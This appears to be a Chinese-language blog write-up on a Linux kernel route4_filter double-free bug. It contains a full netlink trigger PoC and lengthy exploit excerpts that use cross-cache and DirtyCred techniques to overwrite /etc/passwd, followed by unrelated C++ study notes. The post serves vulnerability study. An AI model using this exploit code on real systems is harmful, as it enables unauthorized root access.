21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
#define _GNU_SOURCE
#include <sched.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <string.h>
#include <linux/pkt_sched.h>

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <stdlib.h>
void hexdump(const void *data, size_t size)
{
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i)
{
dprintf(2, "%02X ", ((unsigned char *)data)[i]);
if (((unsigned char *)data)[i] >= ' ' && ((unsigned char *)data)[i] <= '~')
{
ascii[i % 16] = ((unsigned char *)data)[i];
} else
{
ascii[i % 16] = '.';
}
if ((i + 1) % 8 == 0 || i + 1 == size)
{
dprintf(2, " ");
if ((i + 1) % 16 == 0)
{
dprintf(2, "| %s \n", ascii);
}
else if (i + 1 == size)
{
ascii[(i + 1) % 16] = '\0';
if ((i + 1) % 16 <= 8)
{
dprintf(2, " ");
}
for (j = (i + 1) % 16; j < 16; ++j)
{
dprintf(2, " ");
}
dprintf(2, "| %s \n", ascii);
}
}
}
}


static char newlink[] = {
/* len */
56, 0x00, 0x00, 0x00,
/* type = NEWLINK */
16, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x01, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* ifi_family */
0x00, 0x00, 0x00, 0x00,
/* ifi_ifindex */
0x30, 0x00, 0x00, 0x00,
/* ifi_flags */
0x00, 0x00, 0x00, 0x00,
/* ifi_change */
0x00, 0x00, 0x00, 0x00,
/* nla_len, nla_type */
0x08, 0x00, 0x03, 0x00,
/* string */
'e', 't', '2', 0,
/* nla_len, nla_type */
16, 0x00, 18, 0x00,
/* nested nla_len, nla_type */
10, 0x00, 0x01, 0x00,
'd', 'u', 'm', 'm',
'y', 0x00, 0x00, 0x00,
};

static char dellink[] = {
/* len */
40, 0x00, 0x00, 0x00,
/* type = DELLINK */
17, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x01, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* ifi_family */
0x00, 0x00, 0x00, 0x00,
/* ifi_ifindex */
0x00, 0x00, 0x00, 0x00,
/* ifi_flags */
0x00, 0x00, 0x00, 0x00,
/* ifi_change */
0x00, 0x00, 0x00, 0x00,
/* nla_len, nla_type */
0x08, 0x00, 0x03, 0x00,
/* string */
'e', 't', '2', 0,
};

static char tfilter[] = {
/* len */
68, 0x00, 0x00, 0x00,
/* type = NEWTFILTER */
44, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x41, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* tcm_family */
0x00, 0x00, 0x00, 0x00,
/* tcm_ifindex */
0x30, 0x00, 0x00, 0x00,
/* tcm_handle */
0x00, 0x00, 0x00, 0x00,
/* tcm_parent */
0x00, 0x00, 0x01, 0x00,
/* tcm_info = protocol/prio */
0x01, 0x00, 0x01, 0x00,
/* nla_len, nla_type */
0x0a, 0x00, 0x01, 0x00,
/* string */
'r', 'o', 'u', 't',
'e', 0, 0, 0,
/* OPTIONS */
0x14, 0x00, 0x02, 0x00,
/* ROUTE4_TO */
0x08, 0x00, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00,
/* ROUTE4_FROM */
0x08, 0x00, 0x03, 0x00,
0x00, 0x00, 0x00, 0x00,
};

static char ntfilter[] = {
/* len */
56, 0x00, 0x00, 0x00,
/* type = NEWTFILTER */
44, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
/* 0x200 = NLM_F_EXCL */
0x41, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* tcm_family */
0x00, 0x00, 0x00, 0x00,
/* tcm_ifindex */
0x30, 0x00, 0x00, 0x00,
/* tcm_handle */
0x00, 0x00, 0x00, 0x00,
/* tcm_parent */
0x00, 0x00, 0x01, 0x00,
/* tcm_info = protocol/prio */
0x01, 0x00, 0x01, 0x00,
/* OPTIONS */
0x14, 0x00, 0x02, 0x00,
/* ROUTE4_TO */
0x08, 0x00, 0x02, 0x00,
0x01, 0x00, 0x00, 0x00,
/* ROUTE4_FROM */
0x08, 0x00, 0x03, 0x00,
0x00, 0x00, 0x00, 0x00,
};


static char linkcmd[] = {
/* len */
44, 0x00, 0x00, 0x00,
/* type = NEWQDISC */
36, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_REPLACE */
0x01, 0x05,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* tcm_family */
0x00, 0x00, 0x00, 0x00,
/* tcm_ifindex */
0x30, 0x00, 0x00, 0x00,
/* tcm_handle */
0x00, 0x00, 0x01, 0x00,
/* tcm_parent */
0xff, 0xff, 0xff, 0xff,
/* tcm_info = protocol/prio */
0x00, 0x00, 0x00, 0x00,
/* nla_len, nla_type */
0x04, 0x00, 0x01, 0x00,
/* string */
};

int build_qfq(char *buf)
{
char *qopt;
short *tlen;
char *qdisc = "qfq";

short *optlen;
short *opttype;

tlen = buf;

memset(buf, 0, sizeof(buf));
memcpy(buf, linkcmd, sizeof(linkcmd));
strcpy(buf+sizeof(linkcmd), qdisc);
*tlen = sizeof(linkcmd) + strlen(qdisc) + 1;
buf[36] = strlen(qdisc)+5;

qopt = buf + *tlen;
/* nla_len, nla_type */
/* 24, 0x00, 0x02, 0x00, */
optlen = qopt;
opttype = optlen + 1;
*opttype = 0x2;

*optlen = 4;

*tlen += *optlen;

return *tlen;
}

int main(int argc, char **argv)
{
int s;
pid_t p;
int *error;
char buf[4096]={0};
int tlen;
char buf2[4096]={0};
error = (int *) (buf + 16);

unsigned long count = 1;
int i;

unshare(CLONE_NEWUSER|CLONE_NEWNET);
tlen = build_qfq(buf);
s = socket(AF_NETLINK, SOCK_RAW|SOCK_NONBLOCK, NETLINK_ROUTE);
perror("socket:");
printf("s: %d\n",s);
printf("newlink:\n");
hexdump(newlink,0x100);
write(s, newlink, sizeof(newlink));
read(s, buf2, sizeof(buf));
perror("NLMSG_ERROR");
printf("err:%d\n", *error);
printf("msg type:%d\n",*(short *)(buf + 4));

sleep(1);
printf("qdisc:\n");
hexdump(buf,0x100);
write(s, buf, tlen);
read(s, buf, sizeof(buf));
printf("err:%d\n", *error);
sleep(1);
printf("tfilter:\n");
hexdump(tfilter,0x100);

write(s, tfilter, sizeof(tfilter));
read(s, buf, sizeof(buf));
printf("err:%d\n", *error);
sleep(1);


printf("ntfilter:\n");
hexdump(ntfilter,0x100);

write(s, ntfilter, sizeof(ntfilter));
read(s, buf, sizeof(buf));
printf("Err:%d\n", *error);
sleep(1);

printf("dellink:\n");
hexdump(dellink,0x100);

write(s, dellink, sizeof(dellink));
read(s, buf, sizeof(buf));
printf("err:%d\n", *error);


return 0;
}

poc写的比较清晰的,首先是socket(AF_NETLINK, SOCK_RAW|SOCK_NONBLOCK, NETLINK_ROUTE);,然后发了五次包,第一第二次好似是设置网络设备的,比较重要的是第三第四和四五次发包,第三次发包是创建了一个handle为0的route4_filter,第四次发包还是传入一个handle为0的route4_filer,这样第一次创建的route4_filer就被释放当时没有脱链,然后第五次发包是删除第一次发包创建的link,这样就顺带着把他的route4_filer也给free掉了,这样就构成了一个doublefree了。而且不止doubelfree了route4_filter,还doublefree了一个指针数组,前一个的obj的size为kmalloc-192,后一个是kmalloc-256

触发了doublefree但是内核并没有直接崩溃。

image-20221201205500293

漏洞利用原理

感觉挺有意思的,也学到了很多东西,漏洞利用主要分为两部分,分别是cross cache attackdirty cred,下面分别就这两点详细展开学习。

cross cache attack

他的主要作用就是绕过内核的slab隔离。在没有看n1ctf那道内核题目之前还不是能完全理解这种攻击思路的强大,现在再来看的是发现简直好用的一。

内核是从kmem_cahches中申请不同大小的obj的,而keme_cacheskmalloc slab allocation则是基于buddy allocator的,buddy allocator就是伙伴系统,当kmalloc cache上没有足够的obj的时候,就会向buddy allocator申请order-n page,具体会调用 new_slab() -> allocate_slab() -> alloc_slab_page() 向 buddy allocator 申请页。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/*
* Slab allocation and freeing
*/
static inline struct slab *alloc_slab_page(gfp_t flags, int node,
struct kmem_cache_order_objects oo)
{
struct folio *folio;
struct slab *slab;
unsigned int order = oo_order(oo); // order = kmem_cache->oo.x >> 16

if (node == NUMA_NO_NODE)
folio = (struct folio *)alloc_pages(flags, order);
else
folio = (struct folio *)__alloc_pages_node(node, flags, order);

if (!folio)
return NULL;

slab = folio_slab(folio);
__folio_set_slab(folio);
if (page_is_pfmemalloc(folio_page(folio, 0)))
slab_set_pfmemalloc(slab);

return slab;
}

其中order-n中的n到底是多少就看这个slab的类型了,可以通过cat /proc/slabinfo快速知道,我查看我自己ubuntu16的cred的slab,发现要要是用伙伴系统中的order-2,也就是一次向伙伴系统中直接申请两个连续的页面用于cred的slab。

1
2
3
➜  ~ sudo cat /proc/slabinfo | grep cred
cred_jar 8316 8316 192 42 2 : tunables 0 0 0 : slabdata 198 198 0

  • buddy allocator 为每个 order-n page 保存着一个 FIFO queue 数组,order-n page 表示 2^n个连续页的内存。当你释放chunk后导致slab全部空闲时,slab allocator 就会将页还给 buddy allocator。
  • slab对应的order由很多因素决定,如 slab chunk 大小、系统定义、内核编译等,最简单的方法是查看 /proc/slabinfo
  • 如果所申请的 order-n page 队列为空,则将 order-n+1 的页一分为二,一半返回给申请者,一半保存在 order-n 中;如果1个page返回给 buddy allocator,且其对应的 buddy page 也在同一队列中,则整合后放在下一order的page队列中。

cross cache attack原理攻击的整体思路是,当一个slab 页面被全部释放的时候会被回收,这时被回收的页面是可以被其他种类的slab使用的这样就可以跨slab种类来进行利用,如Zhenpeng Lin 的ppt中演示的:

在这里插入图片描述

假定我们有一个非法释放漏洞(或double free),但只能释放普通slab 中的堆块:

  • 1.首先喷射一堆该大小的普通堆块,这样会消耗一大堆slab 页面。我们的double free目标指针指向其中一个堆块,先将其释放
  • 2.然后将喷射的一大堆普通堆块都释放掉,这样double free目标堆块所在slab 页面中的所有堆块(绝大概率)会被都释放掉,该slab 页面为空,会被系统回收
  • 3.这时喷射一大堆filp / 其他slab 类型的堆块,这样目标指针所在页面大概率会被filp 类型slab或其他目标类型slab重新申请到吗,并且目标指针(double free漏洞指针)指向其中一个struct file结构体
  • 4.使用漏洞的第二次释放能力,该struct file结构体被非法释放

dirty cred

struct file

很有意思的一个攻击思路。主要的思路就是利用高凭证替换低凭证。而凭证一般就是credfile,下面主要探讨在doublefree情况下如何进行凭证替换。

file结构体是打开一个文件时就会创建的一个结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
struct file {
union {
struct llist_node fu_llist;
struct rcu_head fu_rcuhead;
} f_u;
struct path f_path;
struct inode *f_inode; /* cached value */
const struct file_operations *f_op;

/*
* Protects f_ep, f_flags.
* Must not be taken from IRQ context.
*/
spinlock_t f_lock;
enum rw_hint f_write_hint;
atomic_long_t f_count;
unsigned int f_flags;
fmode_t f_mode; //读写权限
struct mutex f_pos_lock;
loff_t f_pos;
struct fown_struct f_owner;
const struct cred *f_cred;
struct file_ra_state f_ra;

u64 f_version;
#ifdef CONFIG_SECURITY
void *f_security;
#endif
/* needed for tty driver, and maybe others */
void *private_data;

#ifdef CONFIG_EPOLL
/* Used by fs/eventpoll.c to link all the hooks to this file */
struct hlist_head *f_ep;
#endif /* #ifdef CONFIG_EPOLL */
struct address_space *f_mapping;
errseq_t f_wb_err;
errseq_t f_sb_err; /* for syncfs */
} __randomize_layout
__attribute__((aligned(4))); /* lest something weird decides that 2 is OK */

struct file_handle {
__u32 handle_bytes;
int handle_type;
/* file identifier */
unsigned char f_handle[];
};

下面是介绍dirty cred的论文中提到的doublefree情况下的利用过程,但我觉得其实没必要这么麻烦的,如果只是高凭证替换低凭证的话,假如ptr1拥有doublefree,那先把ptr1给free一次,然后让低凭证申请到这个obj,就记作ptr2,然后再free一次ptr1,就把低凭证也给free掉了,接着再堆喷低凭证,再次申请到ptr2指向的内存,记作ptr3,这样ptr2和ptr3就指向了桶一块低凭证struct file了,然后通过系统调用kcmp来得知ptr2ptr3指向同一个struct file(因为是堆喷),然后释放低凭证的struct file就能替换成高凭证了。

哦我懂了,下面的方法其实更加通用,因为如果能doublefree的话可能obj的大小不等于struct file的大小,所以可能出现不对齐的现象,所以需要两个ptr指向同一个obj了。上述方法只适用于刚好对齐。

方法:一般 Double-Free 发生在通用cache中,而内核凭证位于 dedicated cache 中,所以这里需要进行 cross-cache 内存布局。内核会回收未使用的内存页,然后分配给其他需要更多空间的cache。

  • a-d:两次触发DF,获得2个指向同一漏洞对象的悬垂指针(ptr1' / ptr2');
  • e:将该通用cache的内存页全部释放归还给页管理器,这样该内存页就可以分配给 dedicated cache (存放凭证对象);
  • f:分配大量凭证对象(特殊cache)占据漏洞对象对应的空闲块,现在有3个指针指向该内存块了(2个悬垂指针和一个victim对象中的凭证指针,悬垂指针可能未对齐,指向凭证对象的内部);
  • g:利用其中1个悬垂指针(ptr2')释放凭证对象,创造空洞;
  • h:分配新的低权限凭证对象占据该位置;
  • 剩余1个悬垂指针(ptr1')指向低权限凭证对象,再次释放后就能用高权限凭证对象替换低权限凭证对象了。

img

到目前为止已经能凭证替换了,现在就得利用凭证替换来完成对不可写文件的写入了,在老版本4.13以前使用writev向某个文件中写入内容时逻辑时这样的

  1. 进行访问权限校验(是否可写)
  2. 从用户空间获取写入内容
  3. 实际写入操作

可以看出在验证完权限和实际写入操作之间还有一步操作,这就可以形成条件竞争了,只要验证完可写权限之后就通过堵塞卡在第二步,然后替换成高凭证。再写入的时候就往不可写文件里写入内容了。

d按时这种办法已经是昨日黄花了,在4.13版本以后writev的逻辑就成这样了

  1. 从用户空间获取写入内容
  2. 进行访问权限校验(是否可写)
  3. 实际写入操作

所以在新版本就没办法利用老办法堵塞增大时间窗(从检查权限到真正操作之间的时间)了。但是增大时间窗还是有的,这就利用了文件的innode锁了。

在已经有一个进程对一个文件进行写入操作的时候,会给文件inode上锁,其他向该文件进行写入的进程需要等待上一个进程写入完成解锁。所以就可以有这样的利用了,这样同样可以增大时间窗。

  1. 先存在一个进程向一个可写文件写入大量内容,inode锁会锁住较长时间
  2. 第二个进程尝试向该文件写入”打算写入/etc/passwd等特权文件的内容”
  3. 第三个进程利用漏洞替换file结构体

到这里对struct file的攻击就已经闭环了。

struct cred

对于file类型凭据我们可以使用普通用户可读特权用户可写的/etc/passwd来进行操作,普通用户就可以喷射大量目标用于攻击。但特权的struct cred就没那么容易了。可以通过:

执行大量suid 程序,如sudo(但大部分情况下并没有这个权限)
使用kernel thread,kernel 自己创建的任务是特权任务,我们可以利用一些内核接口控制内核启动一堆kernel thread:

  • 利用workqueue
  • 利用usermode helper

reading exp

终于到了阅读exp的阶段了,距离写下这篇文章的第一行似乎已经过了两周了。。。令人感叹。

进程A,随时准备喷射/etc/passwd文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (fork() == 0) {
// 12. Thread 3 - spray 4096*2 priviledged `file` objects to replace unprivileged `file` (wait pipe_file_spray[0])
adjust_rlimit();
int spray_num = 0;
if (read(pipe_file_spray[0][0], &spray_num, sizeof(int)) < sizeof(int)) // use pipe_file_spray to notify
err(1, "[-] read file spray");

printf("[12] got cmd, start spraying 4096*2 `file` by opening %s\n", target);
spray_num = 4096;
if (fork() == 0) { // spray 4096 `file` (parent-process)
for (int i = 0; i < spray_num; i++) {
pin_on_cpu(i % cpu_cores);
open(target, 0);
}
while (1) {sleep(10000);}
}

下面是进程B的代码,但是在进程B执行之前得等进程C执行完,进程C就是堆喷一堆struct file来耗尽file slab中的空闲object,进程B就是干了一件事,堆喷很多的route4_filter ,然后把他释放掉,但是它申请的handler都不为0.所以只起了一个耗尽通用slab的obj的作用,等后面全部free的时候就会把对应页交给伙伴系统了。

但我其实不是很能理解为什么要设置user namespace

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
setup_namespace();
pin_on_cpu(0);
int sprayfd = socket(PF_NETLINK, SOCK_RAW, 0);
assert(sprayfd != -1);
add_qdisc(sprayfd);
// 2-1. prepare payload
char msg[0x10] = {};
char payload[256] = {};
memset(payload + 0x10, 'A', 256 - 0x10);

if (read(pipe_defrag[0], msg, 2) != 2)
err(1, "[-] failed read defrag");

// if the exploit keeps failing, please tune the middle and end
int middle = 38; // 38
int end = middle + 40; // 40
// 2-2. spray (38+3)*32 filters in kmalloc-192 & kmalloc-256
printf("[2] spray (38+3)*32 kmalloc-192 & kmalloc-256\n");
for (int i = 0; i < middle; i++)
add_tc_basic(sprayfd, i + 1, payload, 193, 32);

add_tc_basic(sprayfd, middle + 1, payload, 193, 32);
add_tc_basic(sprayfd, middle + 2, payload, 193, 32);
add_tc_basic(sprayfd, middle + 3, payload, 193, 32);
if (write(pipe_child[1], "OK", 2) != 2)
err(1, "[-] write to parent\n");
// 4. spray more filters in kmalloc-192 & kmalloc-256
if (read(pipe_parent[0], msg, 2) != 2)
err(1, "[-] read from parent");
// add_tc_basic(sprayfd, middle+2, payload, 129, 32);

// prepare another part for cross cache
printf("[4] spray kmalloc-192 & kmalloc-256\n");
for (int i = middle + 2; i < end; i++)
add_tc_basic(sprayfd, i + 1, payload, 193, 32);
// 5. free (end-24)*32 kmalloc-192 & kmalloc-256
printf("[5] free (end-24)*32 kmalloc-192 & kmalloc-256\n");
for (int i = 1; i < end - 24; i++) {
// prevent double free of 192 and being reclaimed by others
if (i == middle || i == middle + 1)
continue;
delete_tc_basic(sprayfd, i + 1);
}
if (write(pipe_child[1], "OK", 2) != 2)
err(1, "[-] write to parent\n");
// 7. free (end-middle+1)*32 kmalloc-192 & kmalloc-256
if (read(pipe_parent[0], msg, 2) != 2)
err(1, "[-] read from parent");
// if (cpu_cores == 1) sleep(1);
printf("[7] free (end-middle+1)*32 kmalloc-192 & kmalloc-256\n");
delete_tc_basic(sprayfd, middle + 2);
delete_tc_basic(sprayfd, middle + 3);
delete_tc_basic(sprayfd, 1);
for (int i = middle + 2; i < end; i++)
delete_tc_basic(sprayfd, i + 1);
//getchar();
if (write(pipe_child[1], "OK", 2) != 2)
err(1, "[-] write to parent\n");
while (1) {sleep(1000);}
}

进程D是关键进程,首先确定已经可以doublefree了,然后喷射一堆低凭证file,接着第一次kfree大小为0x100的obj,然后喷射一堆低凭证file拿到刚free的obj,接着doublefree这个obj,然后再喷射低凭证file,这样就有两个文件描述符指向同一个file而且这个file的f_count为1,接着开启三个线程,替换第凭证为高凭证,前面我已经说过过程了,就不赘述了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
void *slow_write() {
printf("[11-1] start slow write\n");
clock_t start, end;
int fd = open("./uaf", 1);
if (fd < 0) {
perror("[-] error open uaf file");
exit(-1);
}

unsigned long int addr = 0x30000000;
int offset;
for (offset = 0; offset < 0x80000 / 20; offset++) { // mmap space [0x30000000, 0x30000000 + 0x1000 * 0x80000 / 20]
void *r = mmap((void *)(addr + offset * 0x1000), 0x1000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if (r < 0)
printf("[-] allocate failed at 0x%x\n", offset);
}
assert(offset > 0);

void *mem = (void *)(addr);
memcpy(mem, "hhhhh", 5);
struct iovec iov[20];
for (int i = 0; i < 20; i++) { // write plenty of data (0x80000 * 0x1000 = 0x80 000 000 = 2GB)
iov[i].iov_base = mem;
iov[i].iov_len = offset * 0x1000;
}

run_write = 1; // notifiy thread 2 (unprivileged `file`) begin to write evil data
start = clock();

if (writev(fd, iov, 20) < 0)
perror("slow write");
end = clock();
double spent = (double)(end - start) / CLOCKS_PER_SEC;
printf("[*] write done, spent %f s\n", spent);
run_write = 0;
}
// write_cmd() —— thread 2: write evil data to the privileged file
void *write_cmd() {
struct iovec iov = {.iov_base = content, .iov_len = strlen(content)};

while (!run_write) {} // wait for thread 1 to prepare write
printf("[11-2] write evil data after the slow write\n");
run_spray = 1;
if (writev(overlap_a, &iov, 1) < 0)
printf("[-] failed to write\n");
}

void exploit() {
char msg[0x10] = {};
struct rlimit old_lim, lim, new_lim;

// Get old limits
if (getrlimit(RLIMIT_NOFILE, &old_lim) == 0)
printf("Old limits -> soft limit= %ld \t"
" hard limit= %ld \n",
old_lim.rlim_cur, old_lim.rlim_max);
pin_on_cpu(0);
printf("[*] starting exploit, num of cores: %d\n", cpu_cores);
// open & setup the socket
sockfd = socket(PF_NETLINK, SOCK_RAW, 0);
assert(sockfd != -1);
add_qdisc(sockfd);
// 3. allocate a route4_filter (vulnerable object)
if (read(pipe_child[0], msg, 2) != 2)
err(1, "[-] read from parent");
printf("[3] allocate the vulnerable filter\n");
add_tc_(sockfd, 0, 0, 0, NLM_F_EXCL | NLM_F_CREATE); // handle = 0

if (write(pipe_parent[1], "OK", 2) != 2)
err(1, "[-] write to child");
// 6. 1st free the route4_filter, return the `kmalloc-256` page to the page allocator
if (read(pipe_child[0], msg, 2) != 2)
err(1, "[-] read from parent");

// free the object, to free the slab
printf("[6] 1st freed the filter object\n");
// getchar();
add_tc_(sockfd, 0x11, 0x12, 0, NLM_F_CREATE); // handle = 0

// wait for the vulnerable object being freed
usleep(500 * 1000);
if (write(pipe_parent[1], "OK", 2) != 2)
err(1, "[-] write to child");
// 8. spray 4000 unprivileged `file`
if (read(pipe_child[0], msg, 2) != 2)
err(1, "[-] read from parent");

usleep(1000 * 1000);
printf("[8] spray 4000 uprivileged `file`\n");
for (int i = 0; i < spray_num_1; i++) {
pin_on_cpu(i % cpu_cores);
fds[i] = open("./data2", 1);
assert(fds[i] > 0);
}
// printf("pause before 2nd free\n");
// getchar();
// 9. 2nd free route4_filter, which will free the file
printf("[9] 2nd free the filter object\n");
add_tc_(sockfd, 0x11, 0x13, 0, NLM_F_CREATE); // handle = 0
printf("pause after 2nd free\n");
// getchar();
// sleep(10000);
usleep(1000 * 100); // should not sleep too long, otherwise file might be claimed by others

// 10. spray 5000 unprivileged `file` & find the overlapped file
printf("[10] spraying 5000 unprivileged `file`\n");
for (int i = 0; i < spray_num_2; i++) {
pin_on_cpu(i % cpu_cores);
fd_2[i] = open("./uaf", 1);
assert(fd_2[i] > 0);
for (int j = 0; j < spray_num_1; j++) {
// 10-1. spray one `file` & use kcmp to check if we take up the vulnerable object
if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, fds[j], fd_2[i]) == 0)
{
printf("[10-1] found overlapped file, id : %d, %d\n", i, j);
overlap_a = fds[j];
overlap_b = fd_2[i];
// 11. start 2 threads: Thread 1-take up write lock; Thread 2-write evil data
printf("[11] start 2 threads compete to write\n");
pthread_t pid, pid2;
pthread_create(&pid, NULL, slow_write, NULL);
pthread_create(&pid2, NULL, write_cmd, NULL);

while (!run_spray) {}
// 12. spray privileged `file` object
close(overlap_a); // ??????????? why release twice ???????????
close(overlap_b);

usleep(1000 * 100);
int spray_num = 4096;
write(pipe_file_spray[0][1], &spray_num, sizeof(int));
if (read(pipe_file_spray[1][0], &msg, 2) != 2)
err(1, "[-] read from file spray");
overlapped = true;
}
}
if (overlapped)
break;
}
// 13. finish exploitation
sleep(3);
while (run_write) {sleep(1);}
printf("[13] check whether we overwrite the privileged file\n");
if (!overlapped) {
printf("[-] no overlap found :(...\n");
write(pipe_main[1], "\xff", 1);
} else {
int xx = open(target, 0);
char buf[0x100] = {};
// check if user (hi) in the passwd
read(xx, buf, 0x30);
if (!strncmp(buf, "hi", 2))
write(pipe_main[1], "\x00", 1);
else {
printf("[-] not successful : %s\n", buf);
write(pipe_main[1], "\xff", 1);
}
}
while (1) {sleep(1000);}
}

具体过程可以看这两张图

在这里插入图片描述

在这里插入图片描述

调试了半个晚上终于把exp中关于file结构体引用计数的问题解决了,在一个进程中,主线程和所有的支线程共用一个struct files_struct结构体,所以在创建线程的时候并不会像创建子进程一样给所有的file的结构体的引用计数f_count加一,但是只要在子线程中使用了这个文件描述符(注意是使用,只有使用了才会加一,使用完还会减一),就会给对应的filef_count加一,表示这个结构体正在被使用,所以在主线程close这个文件描述符之后,对应的file并没有被kfree掉,而是引用计数减一,但是这个file指针是在主线程中被清零的。而在某个地方肯定还记录着这个file的指针,以便后续kfree。

但比较奇怪的是一个进程只有线程的时候,就算使用这个文件描述符,文件描述符对应的file的引用计数还是没有变的。

这是支线程使用write正在写入时file的样子,可见f_count为2.

image-20221207011459177

当开启了支线程但是没有使用文件描述符时file的样子,可见f_count为1

image-20221207011836162

总结

这个cve的学习总算告一段落了,除了设置user namespace没怎么搞懂以外其他基本都明白了,也用exp调试打通了自己搭的环境,总的来说确实学到了好多。尤其是cross cachedrity cred,还深入的了解了文件描述符到底是个什么东东了。

c++ study tips

记录一些学习c++过程中的小问题或者有意思的点。

互相引用

A和B两个头文件互相引用在c++中会报错,因为可能会发生超前引用问题,超前引用是指使用了一个只声明了但没有定义的类型来声明一个变量,也就是还没有定义只声明了就使用它来创建变量,编译器是不会允许通过的。

解决办法就是在A的头文件中includeB,然后在A的.h文件中就能正常使用B了,但是在B的.h文件中不能includeA,只能声明一个class A,然后也不能声明一个A的对象比如A a,只能声明一个A的指针A *a。但是在B的.cpp文件中可以includeA来使用A的一些声明。

至于为什么可以声明指针但不能声明对象是因为此时对B来说A只声明了没有定义不知道A的大小所以没有办法确定A的大小,但是指针始终是8个字节可以确定,所以可以声明一个指针。

不得不说c++是真的饶啊。

指针类

顾名思义就是某一个类的指针类,这个指针类并不是一个真的指针,而是会封装这个类的一些指针操作,然后通过这个指针类来操作这个类的数据会更加方便一些,比如容器和迭代器就是类和指针类。

返回局部变量

众所周知函数不能返回自己的局部变量的地址,但是比较我比较疑惑的是为什么可以返回一个局部对象,经过查阅得知当返回一个局部对象的时候并不是返回局部对象本身,而是将返回对象拷贝到函数调用点,所以返回的是一个副本,这个副本的作用域不是这个函数的,而是调用这个函数的函数的。

智能指针初始化

默认初始化一个智能指针,然后使用程序就会报错,报错的原因是默认初始化的只能指针中保存着一个空指针,既然是空指针那就肯定不能使用。

1
2
3
4
5
6
int main(){
shared_ptr<vector<string>> word;
word->push_back("123");
auto beg=word->begin();
cout<<*beg<<endl;
}

使用make_shared进行初始化才可以使用,比如

1
2
3
4
5
6
int main(){
shared_ptr<vector<string>> word= make_shared<vector<string>>();
word->push_back("123");
auto beg=word->begin();
cout<<*beg<<endl;
}

非const引用与临时变量问题

首先得说明一下临时变量和局部变量的区别,局部变量指在函数内显示声明的变量称为局部变量,所以局部变量都是有变量名的,相对于的临时变量虽然也是函数内声明的变量但是这个变量没有变量名的,局部变量很容易理解,临时变量通常在函数参数传递发生类型转换以及函数返回值时被创建。

当一个函数的形参为非const类型,而一个参数以非const传入,编译器一般会认为程序员会在该函数里修改该参数,而且该参数返回后还会发挥作用。此时如果你把一个临时变量当成非const引用传进来,由于临时变量的特殊性,程序员无法对改临时变量进行操作,同时临时变量可能随时会消失,修改临时变量也毫无意义,因此,临时变量不能作为非const引用。

比如下面的代码,uppercasify()函数的参数是string类型,但是传入的是char *类型,所以会把char *隐式转化成string变量,这个string变量就是临时变量,那uppercasify()函数内部如果对string操作的化也是对临时变量string进行操作而不是对subtleBookPlug变量进行操作,这样就会引起误操作了。所以不能使用非const引用接收临时变量,不仅没有意义还会引起误操作。

但是肯定非const引用可以接收局部变量的。

1
2
3
4
5
6
7
8
9
10
11
void uppercasify(string& str) 
{}

int main(int argc, char* argv[])
{
char subtleBookPlug[] = "Effective C++";

uppercasify(subtleBookPlug);

return 1;
}

还是那句话,c++真的饶。

